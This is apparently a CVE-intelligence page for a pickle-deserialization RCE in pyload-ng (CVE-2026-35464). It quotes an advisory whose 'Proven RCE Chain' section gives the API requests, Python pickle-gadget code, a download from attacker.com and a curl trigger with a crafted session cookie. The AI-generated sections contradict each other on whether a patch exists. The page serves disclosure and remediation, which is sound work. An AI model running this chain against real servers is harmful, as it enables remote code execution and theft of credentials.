Docker
CVE-2026-35464
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessUser with SETTINGS/ADD permissions modifies storage_folder
-
DeliveryRedirect downloads to Flask session directory
-
ExploitPlant malicious pickle payload in predictable session file
-
ExecutionSend HTTP request with matching session cookie
-
ImpactDeserialize payload executes arbitrary code
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Authenticated user with SETTINGS and ADD permissions on the Flask-based application. Attacker must predict or control session file naming and have victim make HTTP request with crafted session cookie. Requires Flask's default pickle-based session serialization and predictable session storage paths. |
| Impact | Real-world risk is moderate-to-high despite the 7.5 CVSS score. The CVSS vector (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates network-accessible attack with high complexity requiring low privileges but no user interaction, yielding high impact across confidentiality, integrity, and availability. The high attack complexity (AC:H) stems from needing two specific permission flags (SETTINGS + ADD) assigned to a non-admin account, which is not a default configuration but plausible in environments with delegated administration. Critically, the final RCE trigger is unauthenticated, lowering the real-world barrier once initial setup is complete. The vulnerability bypasses a previous CVE fix, suggesting a pattern of incomplete remediation. The detailed proof-of-concept in the advisory with exact Docker reproduction steps significantly lowers exploitation barriers for sophisticated attackers. However, the requirement for initial low-privileged access and specific permission combinations prevents fully automated mass exploitation. Without EPSS or KEV data, we cannot confirm active exploitation, but the public advisory with working exploit methodology increases risk. Organizations running pyload-ng with non-admin users holding combined SETTINGS and ADD permissions face immediate risk and should prioritize remediation. |
| Exploit ScenarioDerived | An attacker with a non-admin account holding SETTINGS and ADD permissions first sends a POST request to /api/set_config_value to change the storage_folder configuration to /tmp/pyLoad/flask, the Flask session directory. The attacker then crafts a malicious pickle payload containing an os.system command gadget, prepends the cachelib timeout header, and calculates the target filename as md5 hash of their chosen session ID. They host this payload on an attacker-controlled server with the computed MD5 filename, then submit it via /api/add_package, causing pyload to download and save the file to the Flask session store. Finally, the attacker or any unauthenticated party sends any HTTP request to the pyload server with a Cookie header containing the crafted session ID. Flask's session handler reads the poisoned session file and calls pickle.load, executing the embedded command with the privileges of the pyload process user, achieving full remote code execution. The detailed proof-of-concept demonstrates successful command execution (id command output) in a Docker container environment. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 04, 2026
Arbitrary code execution in pyload-ng via pickle deserialization allows non-admin users with SETTINGS and ADD permissions to write malicious session files and trigger unauthenticated RCE. Attackers redirect the download directory to Flask's session store (/tmp/pyLoad/flask), plant a crafted pickle payload as a predictable session filename, then trigger deserialization by sending any HTTP request with the corresponding session cookie. This bypasses CVE-2026-33509 fix controls because storage_folder was not added to ADMIN_ONLY_OPTIONS. No public exploit identified at time of analysis, though detailed proof-of-concept methodology is documented in the advisory. EPSS data not available for this recent CVE.
RemediationAI
Apply the vendor-released patch by upgrading pyload-ng to the latest version from the official repository at github.com/pyload/pyload. The fix adds storage_folder to the ADMIN_ONLY_OPTIONS set to prevent non-admin users from modifying this security-critical configuration option. Until patching is possible, implement these workarounds: revoke SETTINGS permission from all non-admin users to prevent storage_folder modification, or revoke ADD permission to prevent malicious file downloads, or implement network-level access controls to restrict pyload access to trusted users only. Review existing user permission assignments and remove SETTINGS + ADD combination from non-admin accounts. Monitor /tmp/pyLoad/flask/ directory for unexpected files and audit recent storage_folder configuration changes in logs. The vendor advisory at https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j contains full remediation guidance. Also reference the original CVE-2026-33509 advisory at https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx to understand the security control this vulnerability bypasses.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability exploits pyload-ng's Flask-Session implementation which uses cachelib's FileSystemCache backend with pickle serialization. The application configures SESSION_TYPE as filesystem at initialization, causing session data to be stored in /tmp/pyLoad/flask/ and deserialized via pickle.load() on every request. The root cause is CWE-502 (Deserialization of Untrusted Data) combined with insufficient path validation. While CVE-2026-33509 introduced ADMIN_ONLY_OPTIONS to restrict security-critical settings, the storage_folder option was omitted from this safeguard. The existing path check at src/pyload/core/api/__init__.py:238-246 uses os.path.realpath to block writes inside PKGDIR and userdir but does not prevent redirection to the Flask session directory. Session filenames are predictable (md5 hash of 'session:' prefix plus session ID), allowing attackers to craft files that will be consumed by the pickle deserializer. The affected package is pkg:pip/pyload-ng, particularly vulnerable in Docker deployments using the lscr.io/linuxserver/pyload-ng:latest image where the session directory structure is standardized.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an ADMIN_ONLY_OPTIONS set to block non-admin users from modifying security-critical config options. The storage_folder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.
Required Privileges
The chain requires a single non-admin user with both SETTINGS (to change storage_folder) and ADD (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.
Root Cause
storage_folder at src/pyload/core/api/__init__.py:238-246 has a path check that blocks writing inside PKGDIR or userdir using os.path.realpath. However, Flask's filesystem session directory (/tmp/pyLoad/flask/ in the standard Docker deployment) is outside both restricted paths.
pyload configures Flask with SESSION_TYPE = "filesystem" at __init__.py:127. The cachelib FileSystemCache stores session files as md5("session:" + session_id) and deserializes them with pickle.load() on every request that carries the corresponding session cookie.
Proven RCE Chain
Tested against lscr.io/linuxserver/pyload-ng:latest Docker image.
Step 1 - Change download directory to Flask session store:
POST /api/set_config_value {"section":"core","category":"general","option":"storage_folder","value":"/tmp/pyLoad/flask"}
The path check resolves /tmp/pyLoad/flask/ via realpath. It does not start with PKGDIR (/lsiopy/.../pyload/) or userdir (/config/). Check passes.
Step 2 - Compute the target session filename:
md5("session:ATTACKER_SESSION_ID") = 92912f771df217fb6fbfded6705dd47c
Flask-Session uses cachelib which stores files as md5(key_prefix + session_id). The default key prefix is session:.
Step 3 - Host and download the malicious pickle payload:
import pickle, os, struct class RCE: def __reduce__(self): return (os.system, ("id > /tmp/pyload-rce-success",)) session = {"_permanent": True, "rce": RCE()} payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2)
struct.pack("I", 0) = cachelib timeout header (0 = never expires)
Serve as http://attacker.com/92912f771df217fb6fbfded6705dd47c and submit:
POST /api/add_package {"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}
The file is saved to /tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c.
Step 4 - Trigger deserialization (unauthenticated):
curl http://target:8000/ -b "pyload_session_8000=ATTACKER_SESSION_ID"
The session cookie name is pyload_session_ + the configured port number (__init__.py:128).
Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls pickle.load(). The RCE gadget executes.
Result:
$ docker exec pyload-poc cat /tmp/pyload-rce-success uid=1000(abc) gid=1000(users) groups=1000(users)
Impact
A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:
- Execute arbitrary commands with the privileges of the pyload process
- Read environment variables (API keys, credentials)
- Access the filesystem (download history, user database)
- Pivot to other network resources
Suggested Fix
Add storage_folder to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):
ADMIN_ONLY_OPTIONS = { ... ("general", "storage_folder"),
ADDED: prevents session poisoning RCE
... }
Also correct the existing wrong option names:
("webui", "ssl_certfile"),
FIXED: was "ssl_cert" (dead code)
("webui", "ssl_keyfile"),
FIXED: was "ssl_key" (dead code)
Executive ViewAI
CVE-2026-35464 is a high-severity arbitrary code execution vulnerability in pyload-ng that allows authenticated users with SETTINGS and ADD permissions to achieve unauthenticated remote code execution by manipulating session storage and pickle deserialization. This vulnerability bypasses previous remediation attempts and poses critical risk to any organization running pyload-ng, as attackers can execute arbitrary commands without administrative privileges. Immediate isolation of affected systems is required pending patch availability.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Remove or revoke SETTINGS and ADD permissions from all non-administrative user accounts; (2) Configure file system permissions to prevent write access to /tmp/pyLoad/flask directory for pyload-ng process user; (3) Implement strict input validation and monitoring on session cookie values; (4) Use read-only or immutable file storage for session directory if infrastructure permits; (5) Disable or sandbox pyload-ng functionality until patch is available.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
GHSA-4744-96p5-mp2j
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB